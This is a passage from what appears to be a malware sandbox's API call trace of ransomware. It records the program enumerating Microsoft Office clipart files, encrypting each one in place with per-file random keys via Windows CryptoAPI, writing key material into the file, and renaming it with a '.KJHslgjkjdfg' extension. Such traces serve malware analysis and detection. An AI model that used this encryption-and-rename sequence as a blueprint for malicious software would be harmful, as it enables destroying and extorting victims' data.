lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2a50, lpOverlapped=0x0) returned 1 [0184.654] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.654] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2b24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.654] SetEndOfFile (hFile=0x114) returned 1 [0184.657] GetProcessHeap () returned 0x2a0000 [0184.657] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0184.657] GetProcessHeap () returned 0x2a0000 [0184.657] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0184.657] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00057_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00057_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00057_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00057_.wmf.kjhslgjkjdfg")) returned 1 [0184.658] CloseHandle (hObject=0x114) returned 1 [0184.659] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21c04900, ftCreationTime.dwHighDateTime=0x1bd4af3, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c04900, ftLastWriteTime.dwHighDateTime=0x1bd4af3, nFileSizeHigh=0x0, nFileSizeLow=0xeaa, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00058_.WMF", cAlternateFileName="")) returned 1 [0184.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00058_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00058_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0184.660] GetProcessHeap () returned 0x2a0000 [0184.660] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0184.660] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0184.660] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0184.660] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0184.662] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.663] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.663] GetProcessHeap () returned 0x2a0000 [0184.663] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0184.663] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0184.663] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.663] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0184.663] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0184.663] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0184.663] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0184.663] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0184.663] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0184.663] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.663] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.663] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.664] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xeaa, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xeaa, lpOverlapped=0x0) returned 1 [0184.664] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xeb0, dwBufLen=0xeb0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xeb0) returned 1 [0184.664] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.664] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xeb0, lpOverlapped=0x0) returned 1 [0184.664] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.664] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xf84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.664] SetEndOfFile (hFile=0x114) returned 1 [0184.667] GetProcessHeap () returned 0x2a0000 [0184.667] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0184.667] GetProcessHeap () returned 0x2a0000 [0184.667] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0184.667] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00058_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00058_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00058_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00058_.wmf.kjhslgjkjdfg")) returned 1 [0184.669] CloseHandle (hObject=0x114) returned 1 [0184.669] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfdad700, ftCreationTime.dwHighDateTime=0x1bd4ae1, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdfdad700, ftLastWriteTime.dwHighDateTime=0x1bd4ae1, nFileSizeHigh=0x0, nFileSizeLow=0x1324, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00068_.WMF", cAlternateFileName="")) returned 1 [0184.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00068_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00068_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0184.671] GetProcessHeap () returned 0x2a0000 [0184.671] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0184.671] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0184.671] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0184.671] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0184.673] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.673] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.673] GetProcessHeap () returned 0x2a0000 [0184.673] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0184.673] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0184.673] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.673] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0184.673] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0184.674] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0184.674] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0184.674] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0184.674] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0184.674] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.674] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.674] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.674] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1324, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1324, lpOverlapped=0x0) returned 1 [0184.675] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1330, dwBufLen=0x1330 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1330) returned 1 [0184.675] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.675] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1330, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1330, lpOverlapped=0x0) returned 1 [0184.675] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.675] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1404, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.675] SetEndOfFile (hFile=0x114) returned 1 [0184.678] GetProcessHeap () returned 0x2a0000 [0184.678] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0184.678] GetProcessHeap () returned 0x2a0000 [0184.678] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0184.678] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00068_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00068_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00068_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00068_.wmf.kjhslgjkjdfg")) returned 1 [0184.680] CloseHandle (hObject=0x114) returned 1 [0184.680] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99589d00, ftCreationTime.dwHighDateTime=0x1bd4b20, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99589d00, ftLastWriteTime.dwHighDateTime=0x1bd4b20, nFileSizeHigh=0x0, nFileSizeLow=0x1384, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00238_.WMF", cAlternateFileName="")) returned 1 [0184.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00238_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00238_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0184.682] GetProcessHeap () returned 0x2a0000 [0184.682] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0184.682] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0184.682] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0184.682] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0184.685] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.685] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.685] GetProcessHeap () returned 0x2a0000 [0184.685] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0184.685] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0184.685] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.685] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0184.685] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0184.685] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0184.685] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0184.685] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0184.685] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0184.686] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.686] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.686] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.686] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1384, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1384, lpOverlapped=0x0) returned 1 [0184.687] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1390, dwBufLen=0x1390 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1390) returned 1 [0184.687] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.687] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1390, lpOverlapped=0x0) returned 1 [0184.687] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.687] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1464, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.687] SetEndOfFile (hFile=0x114) returned 1 [0184.690] GetProcessHeap () returned 0x2a0000 [0184.690] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0184.690] GetProcessHeap () returned 0x2a0000 [0184.690] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0184.690] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00238_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00238_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00238_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00238_.wmf.kjhslgjkjdfg")) returned 1 [0184.692] CloseHandle (hObject=0x114) returned 1 [0184.692] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc013d500, ftCreationTime.dwHighDateTime=0x1bd4b1a, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc013d500, ftLastWriteTime.dwHighDateTime=0x1bd4b1a, nFileSizeHigh=0x0, nFileSizeLow=0x864, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00330_.WMF", cAlternateFileName="")) returned 1 [0184.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00330_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00330_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0184.693] GetProcessHeap () returned 0x2a0000 [0184.693] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0184.693] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0184.693] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0184.693] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0184.695] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.695] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.695] GetProcessHeap () returned 0x2a0000 [0184.695] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0184.695] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0184.696] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.696] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0184.696] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0184.696] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0184.696] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0184.696] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0184.696] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0184.696] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.696] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.696] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.696] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x864, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x864, lpOverlapped=0x0) returned 1 [0184.696] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x870, dwBufLen=0x870 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x870) returned 1 [0184.696] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.697] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x870, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x870, lpOverlapped=0x0) returned 1 [0184.697] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.697] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x944, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.697] SetEndOfFile (hFile=0x114) returned 1 [0184.699] GetProcessHeap () returned 0x2a0000 [0184.699] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0184.699] GetProcessHeap () returned 0x2a0000 [0184.699] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0184.700] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00330_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00330_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00330_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00330_.wmf.kjhslgjkjdfg")) returned 1 [0184.701] CloseHandle (hObject=0x114) returned 1 [0184.701] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x580ec000, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, 